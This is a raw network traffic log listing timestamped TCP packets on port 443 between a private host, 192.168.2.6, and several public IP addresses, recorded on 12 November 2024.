Nov 12, 2024 17:07:32.956886053 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.983386040 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:32.983902931 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:32.983912945 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.025285959 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.040747881 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.055865049 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.055896044 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.055994034 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.056015968 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.056071043 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.061134100 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.061183929 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.061281919 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.061304092 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.075937033 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.076030970 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.076054096 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.076129913 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.076152086 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.106029987 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.107892990 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.107907057 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.121181965 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.121757984 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.121787071 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.122224092 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.122229099 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.150027990 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.159754038 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.174957991 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.174987078 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.175035954 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.175049067 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.175097942 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.179927111 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.180138111 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.180191994 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.180201054 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.194842100 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.194966078 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.195029974 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.195043087 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.195060968 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.195086956 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.198438883 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.198941946 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.198955059 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.199419975 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.199424982 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.221534967 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.223242998 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.223257065 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.243829012 CET	443	49766	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.244637012 CET	49766	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.244646072 CET	443	49766	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.245126009 CET	49766	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.245132923 CET	443	49766	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.251863003 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.252266884 CET	49767	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.252289057 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.252721071 CET	49767	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.252726078 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.258642912 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.259047985 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.259109020 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.259267092 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.259280920 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.259300947 CET	49764	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.259306908 CET	443	49764	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.261724949 CET	49768	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.261761904 CET	443	49768	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.261867046 CET	49768	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.262001038 CET	49768	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.262016058 CET	443	49768	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.275038958 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.278817892 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.294213057 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.294347048 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.294358015 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.294409990 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.294431925 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.294497967 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.294506073 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.294569016 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.294651985 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.294715881 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.295140028 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.295140028 CET	49756	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:33.295151949 CET	443	49756	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:33.331562996 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.331625938 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.331701994 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.331902027 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.331914902 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.331926107 CET	49765	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.331931114 CET	443	49765	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.334253073 CET	49769	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.334275961 CET	443	49769	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.334371090 CET	49769	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.334516048 CET	49769	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.334528923 CET	443	49769	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.373967886 CET	443	49766	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.374679089 CET	443	49766	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.374771118 CET	49766	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.375868082 CET	49766	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.375868082 CET	49766	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.375880957 CET	443	49766	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.375889063 CET	443	49766	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.379300117 CET	49770	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.379339933 CET	443	49770	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.379420996 CET	49770	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.379565001 CET	49770	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.379580021 CET	443	49770	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.410453081 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.410514116 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.410732031 CET	49767	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.410763979 CET	49767	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.410774946 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.410799980 CET	49767	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.410806894 CET	443	49767	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.413237095 CET	49774	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.413260937 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.413353920 CET	49774	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.413491964 CET	49774	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.413506031 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.989278078 CET	443	49768	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.989725113 CET	49768	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.989746094 CET	443	49768	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:33.990257025 CET	49768	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:33.990262985 CET	443	49768	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.062019110 CET	443	49769	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.062630892 CET	49769	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.062643051 CET	443	49769	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.063087940 CET	49769	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.063093901 CET	443	49769	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.111179113 CET	443	49770	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.111613989 CET	49770	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.111630917 CET	443	49770	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.111996889 CET	49770	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.112000942 CET	443	49770	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.121146917 CET	443	49768	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.121447086 CET	443	49768	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.121520042 CET	49768	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.121553898 CET	49768	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.121571064 CET	443	49768	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.121577024 CET	49768	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.121582985 CET	443	49768	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.124279976 CET	49776	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.124300957 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.124397993 CET	49776	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.124535084 CET	49776	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.124538898 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.145178080 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.145530939 CET	49774	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.145548105 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.145956993 CET	49774	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.145962000 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.194539070 CET	443	49769	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.194616079 CET	443	49769	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.194709063 CET	49769	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.194936037 CET	49769	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.194947958 CET	443	49769	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.194967985 CET	49769	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.194973946 CET	443	49769	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.197880983 CET	49777	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.197931051 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.197998047 CET	49777	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.198165894 CET	49777	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.198183060 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.241095066 CET	443	49770	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.241163969 CET	443	49770	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.241292000 CET	49770	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.241581917 CET	49770	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.241595030 CET	443	49770	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.241607904 CET	49770	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.241612911 CET	443	49770	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.244688988 CET	49778	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.244719028 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.244795084 CET	49778	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.244951963 CET	49778	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.244961977 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.276679039 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.276854038 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.276933908 CET	49774	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.276957035 CET	49774	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.276989937 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.277004004 CET	49774	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.277010918 CET	443	49774	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.279449940 CET	49779	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.279479980 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.279558897 CET	49779	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.279678106 CET	49779	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.279695034 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.625546932 CET	49780	443	192.168.2.6	20.109.210.53
Nov 12, 2024 17:07:34.625587940 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:34.625709057 CET	49780	443	192.168.2.6	20.109.210.53
Nov 12, 2024 17:07:34.627813101 CET	49780	443	192.168.2.6	20.109.210.53
Nov 12, 2024 17:07:34.627830982 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:34.865648031 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.866189003 CET	49776	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.866199017 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.866714001 CET	49776	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.866719961 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.926794052 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.927241087 CET	49777	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.927254915 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.927766085 CET	49777	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.927772045 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.985919952 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.997065067 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.997297049 CET	49778	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.997306108 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.997422934 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:34.997467995 CET	49776	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.997845888 CET	49778	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:34.997852087 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.000497103 CET	49776	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.000510931 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.000520945 CET	49776	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.000528097 CET	443	49776	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.004791975 CET	49782	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.004839897 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.004898071 CET	49782	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.005070925 CET	49782	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.005084038 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.026108027 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.026721954 CET	49779	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.026736021 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.027194977 CET	49779	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.027206898 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.056879044 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.056935072 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.057004929 CET	49777	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.057117939 CET	49777	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.057117939 CET	49777	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.057137966 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.057147026 CET	443	49777	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.059823036 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.059851885 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.059906006 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.060046911 CET	49784	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.060061932 CET	443	49784	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.126317024 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.126517057 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.126563072 CET	49778	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.126588106 CET	49778	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.126600027 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.126611948 CET	49778	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.126619101 CET	443	49778	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.128916979 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.128947973 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.129008055 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.129280090 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.129290104 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.157778025 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.157840014 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.157996893 CET	49779	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.158081055 CET	49779	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.158081055 CET	49779	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.158104897 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.158116102 CET	443	49779	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.160398006 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.160429001 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.160500050 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.160655975 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.160670042 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.293401957 CET	49788	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:35.293437958 CET	443	49788	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:35.293504000 CET	49788	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:35.293761969 CET	49788	443	192.168.2.6	142.250.185.132
Nov 12, 2024 17:07:35.293775082 CET	443	49788	142.250.185.132	192.168.2.6
Nov 12, 2024 17:07:35.400846958 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:35.400974035 CET	49780	443	192.168.2.6	20.109.210.53
Nov 12, 2024 17:07:35.403301001 CET	49780	443	192.168.2.6	20.109.210.53
Nov 12, 2024 17:07:35.403316975 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:35.403565884 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:35.448290110 CET	49780	443	192.168.2.6	20.109.210.53
Nov 12, 2024 17:07:35.464875937 CET	49780	443	192.168.2.6	20.109.210.53
Nov 12, 2024 17:07:35.507338047 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:35.667646885 CET	49791	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:35.667665005 CET	443	49791	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:35.667757988 CET	49791	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:35.668740988 CET	49791	443	192.168.2.6	184.28.90.27
Nov 12, 2024 17:07:35.668752909 CET	443	49791	184.28.90.27	192.168.2.6
Nov 12, 2024 17:07:35.720617056 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:35.720654011 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:35.720662117 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:35.720671892 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:35.720699072 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:35.720726967 CET	49780	443	192.168.2.6	20.109.210.53
Nov 12, 2024 17:07:35.720740080 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:35.720752954 CET	49780	443	192.168.2.6	20.109.210.53
Nov 12, 2024 17:07:35.720781088 CET	49780	443	192.168.2.6	20.109.210.53
Nov 12, 2024 17:07:35.721303940 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:35.721363068 CET	49780	443	192.168.2.6	20.109.210.53
Nov 12, 2024 17:07:35.721369028 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:35.721541882 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:35.721594095 CET	49780	443	192.168.2.6	20.109.210.53
Nov 12, 2024 17:07:35.725231886 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:35.725265980 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:35.725325108 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:35.725501060 CET	49793	443	192.168.2.6	142.250.186.78
Nov 12, 2024 17:07:35.725517035 CET	443	49793	142.250.186.78	192.168.2.6
Nov 12, 2024 17:07:35.731650114 CET	49780	443	192.168.2.6	20.109.210.53
Nov 12, 2024 17:07:35.731658936 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:35.731672049 CET	49780	443	192.168.2.6	20.109.210.53
Nov 12, 2024 17:07:35.731677055 CET	443	49780	20.109.210.53	192.168.2.6
Nov 12, 2024 17:07:35.744939089 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.745362997 CET	49782	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.745373964 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.745874882 CET	49782	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.745879889 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.859471083 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.860146046 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.860160112 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.860655069 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.860658884 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.892230034 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.892667055 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.892684937 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.893182993 CET	49786	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.893188953 CET	443	49786	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.897895098 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.897974014 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.898016930 CET	49782	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.898289919 CET	49782	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.898308039 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.898315907 CET	49782	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.898320913 CET	443	49782	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.902221918 CET	49794	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.902239084 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.902329922 CET	49794	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.902627945 CET	49794	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.902638912 CET	443	49794	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.990170002 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.990345001 CET	443	49785	13.107.246.45	192.168.2.6
Nov 12, 2024 17:07:35.990408897 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.990575075 CET	49785	443	192.168.2.6	13.107.246.45
Nov 12, 2024 17:07:35.990575075 CET	49785	443	192.168.2.6	13.107.246.45
